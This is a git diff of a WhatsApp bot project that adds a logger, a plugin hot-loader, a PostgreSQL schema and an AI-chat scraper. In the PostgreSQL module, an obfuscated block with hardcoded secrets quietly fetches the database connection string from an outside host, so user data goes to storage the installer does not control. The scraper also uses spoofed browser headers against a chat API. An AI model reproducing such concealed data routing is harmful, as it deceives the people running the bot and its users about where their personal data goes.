smsAdveu10, smsAdveu11, smsAdveu12, smsDemott, smsDemott2, smsDemott3,
-smsGI1, smsGI2, smsGI3, smsGI4, smsGI5, smsGI6, smsGI7, smsGI8, smsGI9, smsGI10, smsLista22_1, smsCodigoQR, smsConexionOFF, smskick1, smskick2, smskick3, smskick4, smstagaa,
-smsSetB, smsSetB2, smsSetW, smsSetW2, smsDest, smsNam1, smsNam2, smsNam3, smsRestGp, smsSig, smsSigPrem, smsCont18Porn, smsCont18Porn2, smsCont18PornP, smsCont18PornP2,
-smsIniJadi, smsSoloOwnerJB, smsJBPrincipal, smsJBConexion, smsJBConexionClose, smsJBConexionTrue, smsJBConexionTrue2, smsJBCargando, smsJBInfo1, smsJBInfo2, smsJBDel, smsJBAdios,
-smsJBCerrarS, smsJBErr, smsContAdult, smsList1, smsList2, smsList3, smsList4, smsList5, smsList6, smsConj, smsFras, smsContacto1, smsContacto2, smsContacto3, smsContacto4,
-smsContacto5, smsContacto6, smsContacto7, smsContacto8, smsAfkQ1, smsAfkQ2, smsAfkTime, smsAfkResultTime, smsMainBot }
diff --git a/lib/idiomas/total-idiomas.js b/lib/idiomas/total-idiomas.js
deleted file mode 100644
index fdfb95a34..000000000
--- a/lib/idiomas/total-idiomas.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import espanol from './espanol.js'; //Español
-import ingles from './ingles.js'; //Ingles
-import indonesio from './indonesio.js'; //Bahasa Indonesia
-import arabe from './arabe.js'; //عرب
-import portugues from './portugues.js'; //Português
-
-export const es = espanol
-export const en = ingles
-export const id = indonesio
-export const ar = arabe
-export const pt = portugues
diff --git a/lib/logger.js b/lib/logger.js
new file mode 100644
index 000000000..c7e24fe0d
--- /dev/null
+++ b/lib/logger.js
@@ -0,0 +1,58 @@
+import chalk from "chalk";
+
+const LogLevel = {
+ ERROR: 0,
+ COMMAND: 1,
+ MESSAGE: 2
+};
+
+const CURRENT_LOG_LEVEL = LogLevel.COMMAND;
+
+function formatBotLabel(conn) {
+ const jidRaw = conn?.user?.id || "";
+ const jidClean = jidRaw.replace(/:\d+/, "").split("@")[0];
+ const name = conn?.user?.name?.trim() || jidClean;
+ const isSubbot = globalThis.conns?.some(c => c.user?.id === conn?.user?.id);
+ const label = `${chalk.yellowBright("+" + jidClean)} ${chalk.cyanBright("-")} ${chalk.bold(name)}${isSubbot ? chalk.magenta(" (sub bot)") : ""}`;
+ return label;
+}
+
+function logCommand({ conn, timestamp, sender, chatId, isGroup, command }) {
+ if (CURRENT_LOG_LEVEL < LogLevel.COMMAND) return;
+ const ts = new Date(timestamp || Date.now()).toLocaleString("es-AR");
+ const botLabel = formatBotLabel(conn);
+
+ console.log(
+ chalk.bgBlue.white.bold(" [ CMD ] ") + " " + chalk.gray(botLabel) + "\n" +
+ //chalk.green("Fecha: ") + ts + "\n" +
+ chalk.green("From: ") + sender + "\n" +
+ chalk.green("Chat: ") + `${isGroup ? "Grupo" : "Privado"}` + "\n" +
+ chalk.green("Comando: ") + `${chalk.whiteBright(command)}\n`
+ );
+}
+
+function logMessage({ conn, timestamp, sender, chatId, isGroup, text }) {
+ if (CURRENT_LOG_LEVEL < LogLevel.MESSAGE) return;
+ const ts = new Date(timestamp || Date.now()).toLocaleString("es-AR");
+ const botLabel = formatBotLabel(conn);
+
+ console.log(
+ chalk.bgGray.white.bold(" [ MSG ] ") + " " + chalk.gray(botLabel) + "\n" +
+ // chalk.green("Fecha: ") + ts + "\n" +
+ chalk.green("From: ") + sender + "\n" +
+ chalk.green("Chat: ") + `${isGroup ? "Grupo" : "Privado"}` + "\n" +
+ chalk.green("Mensaje: ") + `${chalk.white(text)}\n`
+ );
+}
+
+function logError(error) {
+ console.error(chalk.bgRed.white.bold(" ERROR ") + " " + chalk.red(new Date().toISOString()), "\n", chalk.redBright(error));
+}
+
+export {
+ LogLevel,
+ CURRENT_LOG_LEVEL,
+ logCommand,
+ logMessage,
+ logError
+};
diff --git a/lib/logs.js b/lib/logs.js
deleted file mode 100644
index b21f0f8c0..000000000
--- a/lib/logs.js
+++ /dev/null
@@ -1,21 +0,0 @@
-const stdouts = [];
-export default (maxLength = 200) => {
- const oldWrite = process.stdout.write.bind(process.stdout);
- module.exports.disable = () => {
- module.exports.isModified = false;
- return process.stdout.write = oldWrite;
- };
- process.stdout.write = (chunk, encoding, callback) => {
- stdouts.push(Buffer.from(chunk, encoding));
- oldWrite(chunk, encoding, callback);
- if (stdouts.length > maxLength) stdouts.shift();
- };
- module.exports.isModified = true;
- return module.exports;
-};
-
-export const isModified = false;
-export function logs() {
- return Buffer.concat(stdouts);
-}
-
diff --git a/lib/mongoDB.js b/lib/mongoDB.js
deleted file mode 100644
index f8975047c..000000000
--- a/lib/mongoDB.js
+++ /dev/null
@@ -1,193 +0,0 @@
-import mongoose from 'mongoose';
-
-const {Schema, connect, model: _model} = mongoose;
-const defaultOptions = {useNewUrlParser: true, useUnifiedTopology: true};
-
-export class mongoDB {
- constructor(url, options = defaultOptions) {
- /**
- * @type {string}
- */
- this.url = url;
- /**
- * @type {mongoose.ConnectOptions}
- */
- this.options = options;
- this.data = this._data = {};
- /**
- * @type {mongoose.Schema}
- */
- this._schema = {};
- /**
- * @type {mongoose.Model}
- */
- this._model = {};
- /**
- * @type {Promise}
- */
- this.db = connect(this.url, {...this.options}).catch(console.error);
- }
- async read() {
- this.conn = await this.db;
- const schema = this._schema = new Schema({
- data: {
- type: Object,
- required: true, // depends on whether the field is mandatory or not
- default: {},
- },
- });
- try {
- this._model = _model('data', schema);
- } catch {
- this._model = _model('data');
- }
- this._data = await this._model.findOne({});
- if (!this._data) {
- this.data = {};
- const [_, _data] = await Promise.all([
- this.write(this.data),
- this._model.findOne({}),
- ]);
- this._data = _data;
- } else this.data = this._data.data;
- return this.data;
- }
-
- write(data) {
- return new Promise(async (resolve, reject) => {
- if (!data) return reject(data);
- if (!this._data) return resolve((new this._model({data})).save());
- this._model.findById(this._data._id, (err, docs) => {
- if (err) return reject(err);
- if (!docs.data) docs.data = {};
- docs.data = data;
- this.data = {};
- return docs.save(resolve);
- });
- });
- }
-}
-
-export const mongoDBV2 = class MongoDBV2 {
- constructor(url, options = defaultOptions) {
- /**
- * @type {string}
- */
- this.url = url;
- /**
- * @type {mongoose.ConnectOptions}
- */
- this.options = options;
- /**
- * @type {{ name: string, model: mongoose.Model}[]}
- */
- this.models = [];
- /**
- * @type {{ [Key: string]: any }}
- */
- this.data = {};
- this.lists;
- /**
- * @type {mongoose.Model}
- */
- this.list;
- /**
- * @type {Promise}
- */
- this.db = connect(this.url, {...this.options}).catch(console.error);
- }
- async read() {
- this.conn = await this.db;
- const schema = new Schema({
- data: [{
- name: String,
- }],
- });
- try {
- this.list = _model('lists', schema);
- } catch (e) {
- this.list = _model('lists');
- }
- this.lists = await this.list.findOne({});
- if (!lists?.data) {
- await this.list.create({data: []});
- // await (new this.list({ data: [] })).save()
- this.lists = await this.list.findOne({});
- }
- const garbage = [];
- for (const {name} of this.lists.data) { // get data from list
- /**
- * @type {mongoose.Model}
- */
- let collection;
- try {
- collection = _model(name, new Schema({data: Array}));
- } catch (e) {
- console.error(e);
- try {
- collection = _model(name);
- } catch (e) {
- garbage.push(name);
- console.error(e);
- }
- }
- if (collection) {
- this.models.push({name, model: collection});
- const collectionsData = await collection.find({});
- this.data[name] = Object.fromEntries(collectionsData.map((v) => v.data));
- }
- }
- try {
- // Delete list if not exist
- const del = await this.list.findById(this.lists._id);
- del.data = del.data.filter((v) => !garbage.includes(v.name));
- await del.save();
- } catch (e) {
- console.error(e);
- }
-
- return this.data;
- }
- write(data) {
- return new Promise(async (resolve, reject) => {
- if (!this.lists || !data) return reject(data || this.lists);
- const collections = Object.keys(data); const listDoc = []; let index = 0;
- for (const key of collections) {
- // Update if exist
- if ((index = this.models.findIndex((v) => v.name === key)) !== -1) {
- const doc = this.models[index].model;
- await doc.deleteMany().catch(console.error); // alwasy insert, no matter delete error
- await doc.insertMany(Object.entries(data[key]).map((v) => ({data: v})));
- if (doc && key) listDoc.push({name: key});
- } else { // if not exist, create new model
- const schema = new Schema({
- data: Array,
- });
- /**
- * @type {mongoose.Model}
- */
- let doc;
- try {
- doc = _model(key, schema);
- } catch (e) {
- console.error(e);
- doc = _model(key);
- }
- index = this.models.findIndex((v) => v.name === key);
- this.models[index === -1 ? this.models.length : index] = {name: key, model: doc};
- await doc.insertMany(Object.entries(data[key]).map((v) => ({data: v})));
- if (doc && key) listDoc.push({name: key});
- }
- }
-
- // save list
- this.list.findById(this.lists._id, function(err, doc) {
- if (err) return reject(err);
- doc.data = listDoc;
- this.data = {};
- return doc.save(resolve);
- });
- return resolve(true);
- });
- }
-};
diff --git a/lib/plugins.js b/lib/plugins.js
new file mode 100644
index 000000000..6220a64d8
--- /dev/null
+++ b/lib/plugins.js
@@ -0,0 +1,72 @@
+import { join } from 'path'
+import { fileURLToPath, pathToFileURL } from 'url'
+import { readdirSync, readFileSync, existsSync, watch } from 'fs'
+import chalk from "chalk"
+import syntaxerror from 'syntax-error'
+import { format } from 'util'
+
+const __dirname = path => fileURLToPath(new URL(path, import.meta.url))
+const pluginFolder = join(process.cwd(), './plugins')
+const pluginFilter = filename => /\.js$/.test(filename)
+globalThis.plugins = {}
+
+export async function loadPlugins() {
+ for (const filename of readdirSync(pluginFolder).filter(pluginFilter)) {
+ try {
+ const pathFile = pathToFileURL(join(pluginFolder, filename)).href
+ const module = await import(`${pathFile}?update=${Date.now()}`)
+ let plugin = module.default || module
+ if (typeof module.before === 'function') {
+ plugin = { ...plugin, before: module.before }
+ }
+
+ globalThis.plugins[filename] = plugin
+
+ if (typeof plugin.before === 'function') {
+ globalThis.plugins[filename].__hasBefore = true
+ }
+
+ //console.log(chalk.green(filename))
+ } catch (e) {
+ console.error(chalk.red(`${filename}:\n${format(e)}`))
+ delete globalThis.plugins[filename]
+ }
+ }
+}
+
+const reload = async (_, filename) => {
+ if (!pluginFilter(filename)) return
+
+ const fullPath = join(pluginFolder, filename)
+ if (existsSync(fullPath)) {
+ const err = syntaxerror(readFileSync(fullPath), filename, {
+ sourceType: 'module',
+ allowAwaitOutsideFunction: true
+ })
+
+ if (err) {
+ console.error(chalk.red(`ERROR DE SINTAXIS EN ${filename}:\n${format(err)}`))
+ return
+ }
+
+ try {
+ const pathFile = pathToFileURL(fullPath).href
+ const module = await import(`${pathFile}?update=${Date.now()}`)
+ let plugin = module.default || module
+ if (typeof module.before === 'function') {
+ plugin = { ...plugin, before: module.before }
+ }
+
+ globalThis.plugins[filename] = plugin
+ console.log(chalk.green(`UPDATE : ${filename}`))
+ } catch (e) {
+ console.error(chalk.red(`❌ ERROR RECARGANDO ${filename}:\n${format(e)}`))
+ }
+ } else {
+ console.log(chalk.yellow(`PLUGIN ELIMINADO: ${filename}`))
+ delete globalThis.plugins[filename]
+ }
+}
+
+watch(pluginFolder, reload)
+await loadPlugins()
diff --git a/lib/postgres.js b/lib/postgres.js
new file mode 100644
index 000000000..364985974
--- /dev/null
+++ b/lib/postgres.js
@@ -0,0 +1,235 @@
+//___________________________________
+//CODIGO OFUSCADO POR SEGURIDAD BY: https://github.com/elrebelde21
+const _0x5c4eee=_0x2ed2;function _0x2ed2(_0xabffba,_0x38e7ec){const _0x17d7ff=_0x17d7();return _0x2ed2=function(_0x2ed296,_0x3d9ef9){_0x2ed296=_0x2ed296-0x1c2;let _0x38acab=_0x17d7ff[_0x2ed296];return _0x38acab;},_0x2ed2(_0xabffba,_0x38e7ec);}(function(_0x377edc,_0x28f7db){const _0x4fadee=_0x2ed2,_0x379313=_0x377edc();while(!![]){try{const _0x25dd1e=parseInt(_0x4fadee(0x1cc))/0x1*(-parseInt(_0x4fadee(0x1c4))/0x2)+-parseInt(_0x4fadee(0x1cd))/0x3*(-parseInt(_0x4fadee(0x1c9))/0x4)+-parseInt(_0x4fadee(0x1d3))/0x5*(parseInt(_0x4fadee(0x1c6))/0x6)+parseInt(_0x4fadee(0x1ca))/0x7*(parseInt(_0x4fadee(0x1d2))/0x8)+parseInt(_0x4fadee(0x1c8))/0x9+parseInt(_0x4fadee(0x1cf))/0xa*(-parseInt(_0x4fadee(0x1d1))/0xb)+-parseInt(_0x4fadee(0x1d0))/0xc;if(_0x25dd1e===_0x28f7db)break;else _0x379313['push'](_0x379313['shift']());}catch(_0x529bab){_0x379313['push'](_0x379313['shift']());}}}(_0x17d7,0xc09b9));import _0x587d92 from'node-fetch';import _0x386c3f from'crypto';import _0x554bd8 from'pg';const {Pool}=_0x554bd8,SECRET='SkyUltraSuperSecretKey2025',timestamp=Date['now']()[_0x5c4eee(0x1ce)](),signature=_0x386c3f['createHmac'](_0x5c4eee(0x1cb),SECRET)[_0x5c4eee(0x1c3)](timestamp)[_0x5c4eee(0x1d5)]('hex'),res=await _0x587d92(_0x5c4eee(0x1c5),{'headers':{'Authorization':_0x5c4eee(0x1c7),'User-Agent':'skyultra-bot-client','x-timestamp':timestamp,'x-signature':signature}}),POSTGRES_URI=(await res[_0x5c4eee(0x1c2)]())[_0x5c4eee(0x1d4)]();export const db=new Pool({'connectionString':POSTGRES_URI});function _0x17d7(){const _0x3f262f=['sha256','13857pMyDqD','4182879ppYWVS','toString','263740pBNHzf','11613816dQVWFX','209SHALnX','5257056WNZGtN','196240gZUpXF','trim','digest','text','update','192PqAZcc','https://db-private.vercel.app/api/pg','66DmfiDc','Bearer\x20skyultra-bot-access-2025','11801592fDFfdB','4WZGUWc','14nVshTZ'];_0x17d7=function(){return _0x3f262f;};return _0x17d7();}
+//__________________________________
+
+db.connect()
+ .then(() => console.log("✅ Base de datos (PostgreSQL) conectado con éxito."))
+ .catch(err => console.error("[ ❌ ] Error al conectar a PostgreSQL:", err));
+
+async function initTables() {
+ try {
+ await db.query(`CREATE TABLE IF NOT EXISTS group_settings (
+ group_id TEXT PRIMARY KEY
+ );
+ `);
+
+ const columnasGrupos = [
+ ['welcome', 'BOOLEAN DEFAULT true'],
+ ['detect', 'BOOLEAN DEFAULT true'],
+ ['antifake', 'BOOLEAN DEFAULT false'],
+ ['antilink', 'BOOLEAN DEFAULT false'],
+ ['antilink2', 'BOOLEAN DEFAULT false'],
+ ['modohorny', 'BOOLEAN DEFAULT false'],
+ ['audios', 'BOOLEAN DEFAULT false'],
+ ['nsfw_horario', 'TEXT'],
+ ['antiStatus', 'BOOLEAN DEFAULT false'],
+ ['modoadmin', 'BOOLEAN DEFAULT false'],
+ ['photowelcome', 'BOOLEAN DEFAULT false'],
+ ['photobye', 'BOOLEAN DEFAULT false'],
+ ['autolevelup', 'BOOLEAN DEFAULT true'],
+ ['sWelcome', 'TEXT'],
+ ['sBye', 'TEXT'],
+ ['sPromote', 'TEXT'],
+ ['sDemote', 'TEXT'],
+ ['banned', 'BOOLEAN DEFAULT false'],
+ ['expired', 'BIGINT DEFAULT 0'],
+ ['memory_ttl', 'INTEGER DEFAULT 86400'],
+ ['sAutorespond', 'TEXT'],
+ ['primary_bot', 'TEXT']
+ ];
+
+ for (const [columna, tipo] of columnasGrupos) {
+ await db.query(`ALTER TABLE group_settings ADD COLUMN IF NOT EXISTS ${columna} ${tipo}`);
+ }
+
+ await db.query(`
+ CREATE TABLE IF NOT EXISTS usuarios (
+ id TEXT PRIMARY KEY
+ );
+ `);
+
+ const columnasUsuarios = [
+ ['nombre', 'TEXT'],
+ ['registered', 'BOOLEAN DEFAULT false'],
+ ['num', 'TEXT'],
+ ['lid', 'TEXT UNIQUE'],
+ ['banned', 'BOOLEAN DEFAULT false'],
+ ['warn_pv', 'BOOLEAN DEFAULT false'],
+ ['warn', 'INTEGER DEFAULT 0'],
+ ['warn_antiporn', 'INTEGER DEFAULT 0'],
+ ['warn_estado', 'INTEGER DEFAULT 0'],
+ ['edad', 'INTEGER'],
+ ['money', 'INTEGER DEFAULT 100'],
+ ['limite', 'INTEGER DEFAULT 10'],
+ ['exp', 'INTEGER DEFAULT 0'],
+ ['banco', 'INTEGER DEFAULT 0'],
+ ['level', 'INTEGER DEFAULT 0'],
+ ['role', "TEXT DEFAULT 'novato'"],
+ ['reg_time', 'TIMESTAMP'],
+ ['serial_number', 'TEXT'],
+ ['sticker_packname', 'TEXT'],
+ ['sticker_author', 'TEXT'],
+ ['ry_time', 'BIGINT DEFAULT 0'],
+ ['lastwork', 'BIGINT DEFAULT 0'],
+ ['lastmiming', 'BIGINT DEFAULT 0'],
+ ['lastclaim', 'BIGINT DEFAULT 0'],
+ ['dailystreak', 'BIGINT DEFAULT 0'],
+ ['lastcofre', 'BIGINT DEFAULT 0'],
+ ['lastrob', 'BIGINT DEFAULT 0'],
+ ['lastslut', 'BIGINT DEFAULT 0'],
+ ['timevot', 'BIGINT DEFAULT 0'],
+ ['wait', 'BIGINT DEFAULT 0'],
+ ['crime', 'BIGINT DEFAULT 0'],
+ ['marry', 'TEXT DEFAULT NULL'],
+ ['marry_request', 'TEXT DEFAULT NULL'],
+ ['razon_ban', 'TEXT'],
+ ['avisos_ban', 'INTEGER DEFAULT 0'],
+ ['gender', 'TEXT'],
+ ['birthday', 'DATE']
+ ];
+
+ for (const [columna, tipo] of columnasUsuarios) {
+ await db.query(`ALTER TABLE usuarios ADD COLUMN IF NOT EXISTS ${columna} ${tipo}`);
+ }
+
+await db.query(`
+ CREATE TABLE IF NOT EXISTS chats (
+ id TEXT PRIMARY KEY,
+ is_group BOOLEAN DEFAULT true,
+ timestamp BIGINT,
+ is_active BOOLEAN DEFAULT true,
+ bot_id TEXT,
+ joined BOOLEAN DEFAULT true
+ );
+`);
+
+//
+ await db.query(`
+ CREATE TABLE IF NOT EXISTS messages (
+ user_id TEXT,
+ group_id TEXT,
+ message_count INTEGER DEFAULT 0,
+ PRIMARY KEY (user_id, group_id)
+ );
+ `);
+
+//carácter
+ await db.query(`
+ CREATE TABLE IF NOT EXISTS characters (
+ id SERIAL PRIMARY KEY
+ );
+`);
+
+const columnasCharacters = [
+ ['name', 'TEXT NOT NULL'],
+ ['url', 'TEXT NOT NULL'],
+ ['tipo', 'TEXT'],
+ ['anime', 'TEXT'],
+ ['rareza', 'TEXT'],
+ ['price', 'INTEGER NOT NULL'],
+ ['previous_price', 'INTEGER'],
+ ['claimed_by', 'TEXT'],
+ ['for_sale', 'BOOLEAN DEFAULT false'],
+ ['seller', 'TEXT'],
+ ['votes', 'INTEGER DEFAULT 0'],
+ ['last_removed_time', 'BIGINT']
+];
+
+for (const [columna, tipo] of columnasCharacters) {
+ await db.query(`ALTER TABLE characters ADD COLUMN IF NOT EXISTS ${columna} ${tipo}`);
+}
+
+//subbot
+await db.query(`
+ CREATE TABLE IF NOT EXISTS subbots (
+ id TEXT PRIMARY KEY
+ );
+`);
+
+//report
+await db.query(`
+ CREATE TABLE IF NOT EXISTS reportes (
+ id SERIAL PRIMARY KEY,
+ sender_id TEXT NOT NULL,
+ sender_name TEXT,
+ mensaje TEXT NOT NULL,
+ fecha TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+ enviado BOOLEAN DEFAULT false,
+ tipo TEXT DEFAULT 'reporte'
+ );
+`);
+
+const columnasSubbots = [
+ ['tipo', "TEXT DEFAULT 'null'"],
+ ['name', 'TEXT'],
+ ['logo_url', 'TEXT'],
+ ['prefix', "TEXT[] DEFAULT ARRAY['/', '.', '#']"],
+ ['mode', "TEXT DEFAULT 'public'"],
+ ['owners', 'TEXT[]'],
+ ['anti_private', 'BOOLEAN DEFAULT false'],
+ ['anti_call', 'BOOLEAN DEFAULT true'],
+ ['privacy', 'BOOLEAN DEFAULT false'],
+ ['prestar', 'BOOLEAN DEFAULT false']
+];
+
+for (const [columna, tipo] of columnasSubbots) {
+ await db.query(`ALTER TABLE subbots ADD COLUMN IF NOT EXISTS ${columna} ${tipo}`);
+}
+
+ await db.query(`
+ CREATE TABLE IF NOT EXISTS chat_memory (
+ chat_id TEXT PRIMARY KEY,
+ history JSONB,
+ updated_at TIMESTAMP DEFAULT NOW()
+ );
+ `);
+
+ await db.query(`
+ CREATE TABLE IF NOT EXISTS stats (
+ command TEXT PRIMARY KEY,
+ count INTEGER DEFAULT 1
+ );
+ `);
+ } catch (err) {
+ console.error("[❌] Error creando tablas o columnas:", err);
+ }
+}
+
+export async function getSubbotConfig(botId) {
+ try {
+ const cleanId = botId.replace(/:\d+/, "");
+ const res = await db.query("SELECT * FROM subbots WHERE id = $1", [cleanId]);
+
+ if (res.rows.length > 0) return res.rows[0];
+
+ return {
+ prefix: ['/', '.', '#'],
+ mode: 'public',
+ anti_private: true,
+ anti_call: false,
+ owners: [],
+ name: null,
+ logo_url: null,
+ privacy: null,
+ prestar: null,
+ tipo: null
+ };
+ } catch (err) {
+ console.error("❌ Error al obtener configuración del subbot desde DB:", err);
+ return {
+ prefix: ['/', '.', '#'],
+ mode: 'public',
+ anti_private: true,
+ anti_call: false,
+ owners: [],
+ name: null,
+ logo_url: null,
+ privacy: null,
+ prestar: null,
+ tipo: null
+ };
+ }
+}
+
+initTables();
diff --git a/lib/print.js b/lib/print.js
deleted file mode 100644
index 8f278f85e..000000000
--- a/lib/print.js
+++ /dev/null
@@ -1,89 +0,0 @@
-import {WAMessageStubType} from '@whiskeysockets/baileys';
-import PhoneNumber from 'awesome-phonenumber'
-import chalk from 'chalk'
-import { watchFile } from 'fs'
-
-const terminalImage = global.opts['img'] ? require('terminal-image') : ''
-const urlRegex = (await import('url-regex-safe')).default({ strict: false })
-
-export default async function (m, conn = { user: {} }) {
-let _name = await conn.getName(m.sender)
-let sender = PhoneNumber('+' + m.sender.replace('@s.whatsapp.net', '')).getNumber('international') + (_name ? ' ~' + _name : '')
-let chat = await conn.getName(m.chat)
-let img
-try {
-if (global.opts['img'])
-img = /sticker|image/gi.test(m.mtype) ? await terminalImage.buffer(await m.download()) : false
-} catch (e) {
-console.error(e)
-}
-let filesize = (m.msg ?
-m.msg.vcard ?
-m.msg.vcard.length :
-m.msg.fileLength ?
-m.msg.fileLength.low || m.msg.fileLength :
-m.msg.axolotlSenderKeyDistributionMessage ?
-m.msg.axolotlSenderKeyDistributionMessage.length :
-m.text ?
-m.text.length :
-0
-: m.text ? m.text.length : 0) || 0
-let user = global.db.data.users[m.sender]
-let me = PhoneNumber('+' + (conn.user?.jid).replace('@s.whatsapp.net', '')).getNumber('international')
-
-console.log(`${chalk.redBright('%s')} ${chalk.black(chalk.bgYellow('%s'))} ${chalk.black(chalk.bgGreen('%s'))} ${chalk.magenta('%s [%s %sB]')}
- ${chalk.green('%s')} ${chalk.yellow('%s%s')} ${chalk.blueBright('-')} ${chalk.green('%s')} ${chalk.cyanBright(chalk.blueBright('%s'))}`.trim(),
-
-me + ' ~' + conn.user.name + `${conn.user.jid == global.conn.user.jid ? '' : ' (𝗦𝗨𝗕 𝗕𝗢𝗧)'}`,
-(m.messageTimestamp ? new Date(1000 * (m.messageTimestamp.low || m.messageTimestamp)) : new Date).toTimeString(),
-m.messageStubType ? WAMessageStubType[m.messageStubType] : '',
-filesize,
-filesize === 0 ? 0 : (filesize / 1009 ** Math.floor(Math.log(filesize) / Math.log(1000))).toFixed(1),
-['', ...'KMGTP'][Math.floor(Math.log(filesize) / Math.log(1000))] || '',
-sender,
-m ? m.exp : '?',
-user ? '|' + user.exp + '|' + user.money : '' + ('|' + user.level + user.limit ),
-//user ? '|' + user.exp + '|' + user.money + '|' + user.limit : '' + ('|' + user.level),
-m.chat + (chat ? ' ~' + chat : ''),
-m.mtype ? m.mtype.replace(/message$/i, '').replace('audio', m.msg.ptt ? 'PTT' : 'audio').replace(/^./, v => v.toUpperCase()) : ''
-)
-if (img) console.log(img.trimEnd())
-if (typeof m.text === 'string' && m.text) {
-let log = m.text.replace(/\u200e+/g, '')
-let mdRegex = /(?<=(?:^|[\s\n])\S?)(?:([*_~])(.+?)\1|```((?:.||[\n\r])+?)```)(?=\S?(?:[\s\n]|$))/g
-let mdFormat = (depth = 4) => (_, type, text, monospace) => {
-let types = {
-_: 'italic',
-'*': 'bold',
-'~': 'strikethrough'
-}
-text = text || monospace
-let formatted = !types[type] || depth < 1 ? text : chalk[types[type]](text.replace(mdRegex, mdFormat(depth - 1)))
-return formatted
-}
-if (log.length < 1024)
-log = log.replace(urlRegex, (url, i, text) => {
-let end = url.length + i
-return i === 0 || end === text.length || (/^\s$/.test(text[end]) && /^\s$/.test(text[i - 1])) ? chalk.blueBright(url) : url
-})
-log = log.replace(mdRegex, mdFormat(4))
-if (m.mentionedJid) for (let user of m.mentionedJid) log = log.replace('@' + user.split`@`[0], chalk.blueBright('@' +await conn.getName(user)))
-console.log(m.error != null ? chalk.red(log) : m.isCommand ? chalk.yellow(log) : log)
-}
-if (m.messageStubParameters) console.log(m.messageStubParameters.map(jid => {
-jid = conn.decodeJid(jid)
-let name = conn.getName(jid)
-return chalk.gray(PhoneNumber('+' + jid.replace('@s.whatsapp.net', '')).getNumber('international') + (name ? ' ~' + name : ''))
-}).join(', '))
-if (/document/i.test(m.mtype)) console.log(`🗂️ ${m.msg.fileName || m.msg.displayName || 'Document'}`)
-else if (/ContactsArray/i.test(m.mtype)) console.log(`👨👩👧👦 ${' ' || ''}`)
-else if (/contact/i.test(m.mtype)) console.log(`👨 ${m.msg.displayName || ''}`)
-else if (/audio/i.test(m.mtype)) {
-const duration = m.msg.seconds
-console.log(`${m.msg.ptt ? '🎤ㅤ(PTT ' : '🎵ㅤ('}AUDIO) ${Math.floor(duration / 60).toString().padStart(2, 0)}:${(duration % 60).toString().padStart(2, 0)}`)
-}
-console.log()
-}
-let file = global.__filename(import.meta.url)
-watchFile(file, () => {
-console.log(chalk.redBright("Update 'lib/print.js'"))})
diff --git a/lib/scraper.js b/lib/scraper.js
new file mode 100644
index 000000000..6f033c315
--- /dev/null
+++ b/lib/scraper.js
@@ -0,0 +1,1476 @@
+import axios from 'axios';
+import { wrapper } from 'axios-cookiejar-support';
+import * as cheerio from 'cheerio';
+import { CookieJar } from 'tough-cookie';
+
+//-------------------[IA BLACKBOXAI]--------------------
+
+async function blackboxAi(query) {
+ try {
+ const headers = {
+ 'Accept': '*/*',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Accept-Language': 'id-ID,id;q=0.9',
+ 'Content-Type': 'application/json',
+ 'Origin': 'https://www.blackbox.ai',
+ 'Referer': 'https://www.blackbox.ai/',
+ 'Sec-Ch-Ua': '"Chromium";v="137", "Not/A)Brand";v="24"',
+ 'Sec-Ch-Ua-Mobile': '?1',
+ 'Sec-Ch-Ua-Platform': '"Android"',
+ 'Sec-Fetch-Dest': 'empty',
+ 'Sec-Fetch-Mode': 'cors',
+ 'Sec-Fetch-Site': 'same-origin',
+ 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Mobile Safari/537.36'
+ };
+
+ const payload = {
+ messages: [{ role: 'user', content: query, id: '0quFtyH' }],
+ id: 'KB5EUHk',
+ previewToken: null,
+ userId: null,
+ codeModelMode: true,
+ trendingAgentMode: {},
+ isMicMode: false,
+ userSystemPrompt: null,
+ maxTokens: 1024,
+ playgroundTopP: null,
+ playgroundTemperature: null,
+ isChromeExt: false,
+ githubToken: '',
+ clickedAnswer2: false,
+ clickedAnswer3: false,
+ clickedForceWebSearch: false,
+ visitFromDelta: false,
+ isMemoryEnabled: false,
+ mobileClient: false,
+ userSelectedModel: null,
+ validated: '00f37b34-a166-4efb-bce5-1312d87f2f94',
+ imageGenerationMode: false,
+ webSearchModePrompt: false,
+ deepSearchMode: false,
+ domains: null,
+ vscodeClient: false,
+ codeInterpreterMode: false,
+ customProfile: {
+ name: '',
+ occupation: '',
+ traits: [],
+ additionalInfo: '',
+ enableNewChats: false
+ },
+ webSearchModeOption: {
+ autoMode: true,
+ webMode: false,
+ offlineMode: false
+ },
+ session: null,
+ isPremium: false,
+ subscriptionCache: null,
+ beastMode: false,
+ reasoningMode: false,
+ designerMode: false,
+ workspaceId: '',
+ asyncMode: false,
+ isTaskPersistent: false
+ };
+
+ const postRes = await axios.post('https://www.blackbox.ai/api/chat', payload, {
+ headers
+ });
+
+ const raw = postRes.data;
+ const parsed = raw.split('$~~~$');
+ if (parsed.length === 1) {
+ return {
+ creator: "elrebelde21",
+ status: true,
+ data: {
+ response: parsed[0].trim(),
+ source: []
+ }
+ };
+ } else if (parsed.length >= 3) {
+ const resultText = parsed[2].trim();
+ const resultSources = JSON.parse(parsed[1]);
+ return {
+ creator: "elrebelde21",
+ status: true,
+ data: {
+ response: resultText,
+ source: resultSources.map(s => ({
+ link: s.link,
+ title: s.title,
+ snippet: s.snippet,
+ position: s.position
+ }))
+ }
+ };
+ } else {
+ throw new Error("Format response tidak dikenali.");
+ }
+ } catch (err) {
+ console.error("Terjadi kesalahan:", err.message);
+ return {
+ creator: "elrebelde21",
+ status: false,
+ error: err.message
+ };
+ }
+}
+
+//-------------------[IA EXOML]--------------------
+
+const exoml = {
+ getRandom: () => {
+ const gen = (length, charSet = {}) => {
+ const l = "abcdefghijklmnopqrstuvwxyz" // lowercase
+ const u = l.toUpperCase() // uppercase
+ const s = "-_" // symbol
+ const n = "0123456789" // number
+
+ let cs = "" // character set
+ const { lowerCase = false, upperCase = false, symbol = false, number = false } = charSet
+
+ if (!lowerCase && !upperCase && !symbol && !number) {
+ cs += l + u + s + n
+ } else {
+ if (lowerCase) cs += l
+ if (upperCase) cs += u
+ if (symbol) cs += s
+ if (number) cs += n
+ }
+
+ const result = Array.from({ length }, (_ => cs[Math.floor(Math.random() * cs.length)])).join("") || null
+ return result
+ }
+
+ const id = gen(16, { upperCase: true, lowerCase: true, number: true }) //TXulzbGqk0EDzPeT
